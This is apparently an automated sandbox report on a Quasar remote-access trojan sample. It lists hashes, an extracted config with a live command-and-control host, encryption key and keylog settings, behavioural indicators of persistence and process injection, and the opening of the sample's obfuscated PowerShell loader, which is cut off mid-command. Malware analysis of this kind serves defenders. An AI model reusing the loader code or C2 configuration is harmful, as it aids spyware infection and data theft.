quasar | 00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3

General

Target

Uni.exe
Size

409KB
MD5

7417c8c73e614f293152575f46134216
SHA1

cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805
SHA256

00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3
SHA512

897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0
SSDEEP

6144:nMr2pJAJcC0B632U3GRbMfgvKFFhTEDPX1NbKoEn5MSU+h2f8/14m:LpyJcC+82U3GRGGp1M5Ys2f8/6m

Score

10^/10

quasar slave spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SLAVE

C2

even-lemon.gl.at.ply.gg:33587

Mutex

$Sxr-dOMA5C0pQTTpKjVsCp

Attributes

encryption_key
UBXs44u6E81wxBGZxQHk
install_name
$sxr-powershell.exe
log_directory
$SXR-KEYLOGS
reconnect_delay
3000
startup_key
$sxr-powershell
subdirectory
$sxr-seroxen2

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1104-1-0x00000000003F0000-0x000000000045C000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description pid process target process

PID 1832 created 588 1832 powershell.EXE winlogon.exe
PID 4820 created 588 4820 powershell.EXE winlogon.exe
Downloads MZ/PE file

description	pid	process	target process
PID 1832 created 588	1832	powershell.EXE	winlogon.exe
PID 4820 created 588	4820	powershell.EXE	winlogon.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 3 IoCs

Processes:

$sxr-powershell.exeinstall.exeinstall.exe

pid process

2076 $sxr-powershell.exe
2700 install.exe
2168 install.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

13 raw.githubusercontent.com
20 raw.githubusercontent.com
12 raw.githubusercontent.com
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com
8 api.ipify.org

pid	process
2076	$sxr-powershell.exe
2700	install.exe
2168	install.exe

flow	ioc
13	raw.githubusercontent.com
20	raw.githubusercontent.com
12	raw.githubusercontent.com

flow	ioc
1	ip-api.com
8	api.ipify.org

Drops file in System32 directory 17 IoCs

Processes:

OfficeClickToRun.exesvchost.exesvchost.exepowershell.EXEsvchost.exepowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9C237ECACBCB4101A3BE740DF0E53F83	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\$77svc64	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6D1A73D92C4DC2751A4B5A2404E1BDCC	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\$sxr-powershell	svchost.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description	pid	process	target process
PID 1832 set thread context of 4360	1832	powershell.EXE	dllhost.exe
PID 4820 set thread context of 656	4820	powershell.EXE	dllhost.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeSCHTASKS.exeschtasks.exe

pid process

2148 schtasks.exe
4340 SCHTASKS.exe
2724 schtasks.exe

pid	process
2148	schtasks.exe
4340	SCHTASKS.exe
2724	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEpowershell.EXEOfficeClickToRun.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715189351"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={447BF857-54C7-402E-9358-1A2490BB118D}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.EXEdllhost.exepowershell.EXEwmiprvse.exe$sxr-powershell.exe

pid	process
1832	powershell.EXE
1832	powershell.EXE
1832	powershell.EXE
1832	powershell.EXE
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4820	powershell.EXE
1124	wmiprvse.exe
2076	$sxr-powershell.exe
4820	powershell.EXE
4360	dllhost.exe
4360	dllhost.exe
4820	powershell.EXE
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4360	dllhost.exe
4820	powershell.EXE
4360	dllhost.exe
4360	dllhost.exe
2076	$sxr-powershell.exe
4360	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Uni.exe$sxr-powershell.exepowershell.EXEdllhost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	1104	Uni.exe
Token: SeDebugPrivilege	2076	$sxr-powershell.exe
Token: SeDebugPrivilege	1832	powershell.EXE
Token: SeDebugPrivilege	1832	powershell.EXE
Token: SeDebugPrivilege	4360	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2436	svchost.exe
Token: SeIncreaseQuotaPrivilege	2436	svchost.exe
Token: SeSecurityPrivilege	2436	svchost.exe
Token: SeTakeOwnershipPrivilege	2436	svchost.exe
Token: SeLoadDriverPrivilege	2436	svchost.exe
Token: SeSystemtimePrivilege	2436	svchost.exe
Token: SeBackupPrivilege	2436	svchost.exe
Token: SeRestorePrivilege	2436	svchost.exe
Token: SeShutdownPrivilege	2436	svchost.exe
Token: SeSystemEnvironmentPrivilege	2436	svchost.exe
Token: SeUndockPrivilege	2436	svchost.exe
Token: SeManageVolumePrivilege	2436	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2436	svchost.exe
Token: SeIncreaseQuotaPrivilege	2436	svchost.exe
Token: SeSecurityPrivilege	2436	svchost.exe
Token: SeTakeOwnershipPrivilege	2436	svchost.exe
Token: SeLoadDriverPrivilege	2436	svchost.exe
Token: SeSystemtimePrivilege	2436	svchost.exe
Token: SeBackupPrivilege	2436	svchost.exe
Token: SeRestorePrivilege	2436	svchost.exe
Token: SeShutdownPrivilege	2436	svchost.exe
Token: SeSystemEnvironmentPrivilege	2436	svchost.exe
Token: SeUndockPrivilege	2436	svchost.exe
Token: SeManageVolumePrivilege	2436	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2436	svchost.exe
Token: SeIncreaseQuotaPrivilege	2436	svchost.exe
Token: SeSecurityPrivilege	2436	svchost.exe
Token: SeTakeOwnershipPrivilege	2436	svchost.exe
Token: SeLoadDriverPrivilege	2436	svchost.exe
Token: SeSystemtimePrivilege	2436	svchost.exe
Token: SeBackupPrivilege	2436	svchost.exe
Token: SeRestorePrivilege	2436	svchost.exe
Token: SeShutdownPrivilege	2436	svchost.exe
Token: SeSystemEnvironmentPrivilege	2436	svchost.exe
Token: SeUndockPrivilege	2436	svchost.exe
Token: SeManageVolumePrivilege	2436	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2436	svchost.exe
Token: SeIncreaseQuotaPrivilege	2436	svchost.exe
Token: SeSecurityPrivilege	2436	svchost.exe
Token: SeTakeOwnershipPrivilege	2436	svchost.exe
Token: SeLoadDriverPrivilege	2436	svchost.exe
Token: SeSystemtimePrivilege	2436	svchost.exe
Token: SeBackupPrivilege	2436	svchost.exe
Token: SeRestorePrivilege	2436	svchost.exe
Token: SeShutdownPrivilege	2436	svchost.exe
Token: SeSystemEnvironmentPrivilege	2436	svchost.exe
Token: SeUndockPrivilege	2436	svchost.exe
Token: SeManageVolumePrivilege	2436	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2436	svchost.exe
Token: SeIncreaseQuotaPrivilege	2436	svchost.exe
Token: SeSecurityPrivilege	2436	svchost.exe
Token: SeTakeOwnershipPrivilege	2436	svchost.exe
Token: SeLoadDriverPrivilege	2436	svchost.exe
Token: SeSystemtimePrivilege	2436	svchost.exe
Token: SeBackupPrivilege	2436	svchost.exe
Token: SeRestorePrivilege	2436	svchost.exe
Token: SeShutdownPrivilege	2436	svchost.exe
Token: SeSystemEnvironmentPrivilege	2436	svchost.exe
Token: SeUndockPrivilege	2436	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

$sxr-powershell.exe

pid process

2076 $sxr-powershell.exe
Suspicious use of UnmapMainImage 1 IoCs

Processes:

Explorer.EXE

pid process

3392 Explorer.EXE

pid	process
2076	$sxr-powershell.exe

pid	process
3392	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Uni.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 1104 wrote to memory of 2148	1104	Uni.exe	schtasks.exe
PID 1104 wrote to memory of 2148	1104	Uni.exe	schtasks.exe
PID 1104 wrote to memory of 2148	1104	Uni.exe	schtasks.exe
PID 1104 wrote to memory of 2076	1104	Uni.exe	$sxr-powershell.exe
PID 1104 wrote to memory of 2076	1104	Uni.exe	$sxr-powershell.exe
PID 1104 wrote to memory of 2076	1104	Uni.exe	$sxr-powershell.exe
PID 1104 wrote to memory of 2700	1104	Uni.exe	install.exe
PID 1104 wrote to memory of 2700	1104	Uni.exe	install.exe
PID 1104 wrote to memory of 2700	1104	Uni.exe	install.exe
PID 1104 wrote to memory of 4340	1104	Uni.exe	SCHTASKS.exe
PID 1104 wrote to memory of 4340	1104	Uni.exe	SCHTASKS.exe
PID 1104 wrote to memory of 4340	1104	Uni.exe	SCHTASKS.exe
PID 1832 wrote to memory of 4360	1832	powershell.EXE	dllhost.exe
PID 1832 wrote to memory of 4360	1832	powershell.EXE	dllhost.exe
PID 1832 wrote to memory of 4360	1832	powershell.EXE	dllhost.exe
PID 1832 wrote to memory of 4360	1832	powershell.EXE	dllhost.exe
PID 1832 wrote to memory of 4360	1832	powershell.EXE	dllhost.exe
PID 1832 wrote to memory of 4360	1832	powershell.EXE	dllhost.exe
PID 1832 wrote to memory of 4360	1832	powershell.EXE	dllhost.exe
PID 1832 wrote to memory of 4360	1832	powershell.EXE	dllhost.exe
PID 4360 wrote to memory of 588	4360	dllhost.exe	winlogon.exe
PID 4360 wrote to memory of 640	4360	dllhost.exe	lsass.exe
PID 4360 wrote to memory of 748	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 908	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 1008	4360	dllhost.exe	dwm.exe
PID 4360 wrote to memory of 304	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 356	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 696	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 1040	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 1132	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 1148	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 1156	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 1216	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 1304	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 1376	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 1392	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 1440	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 1480	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 1576	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 1600	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 1648	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 1716	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 1732	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 1788	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 1844	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 1868	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 2028	4360	dllhost.exe	spoolsv.exe
PID 4360 wrote to memory of 1536	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 2252	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 2268	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 2312	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 2428	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 2436	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 2484	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 2496	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 2536	4360	dllhost.exe	sysmon.exe
PID 4360 wrote to memory of 2544	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 2556	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 2960	4360	dllhost.exe	unsecapp.exe
PID 4360 wrote to memory of 3004	4360	dllhost.exe	sihost.exe
PID 4360 wrote to memory of 3028	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 2860	4360	dllhost.exe	taskhostw.exe
PID 4360 wrote to memory of 3280	4360	dllhost.exe	svchost.exe
PID 4360 wrote to memory of 3392	4360	dllhost.exe	Explorer.EXE

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:588

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:1008

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{ada37727-f0cd-41d6-9594-f7bf9e54b4d2}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4360

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{717b34fc-f43e-4b55-910a-51c6720e542f}
2⤵
PID:656

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:640

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
1⤵
PID:748

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
1⤵
PID:908

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:304

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
1⤵
PID:356

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
1⤵
PID:696

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
- Drops file in System32 directory
PID:1040

c:\windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:2860

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:tYtDsKqRlRqD{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$YPXUArufHrqiat,[Parameter(Position=1)][Type]$VoQYaUGEOI)$wKuXBxIbriu=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+''+'c'+''+'t'+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+'le'+'g'+''+[Char](97)+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+''+'e'+''+[Char](109)+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+'o'+''+[Char](100)+''+'u'+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+'De'+'l'+''+'e'+''+[Char](103)+''+'a'+''+[Char](116)+'e'+[Char](84)+'y'+'p'+''+[Char](101)+'',''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+[Char](115)+''+','+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+','+'Seale'+[Char](100)+''+[Char](44)+'A'+[Char](110)+''+[Char](115)+''+[Char](105)+'Cl'+'a'+''+'s'+'s'+','+'Au'+[Char](116)+''+[Char](111)+''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$wKuXBxIbriu.DefineConstructor('RT'+'S'+''+[Char](112)+''+'e'+''+'c'+''+'i'+''+[Char](97)+''+[Char](108)+'Na'+[Char](109)+''+[Char](101)+''+','+'H'+[Char](105)+'de'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](80)+''+'u'+'b'+[Char](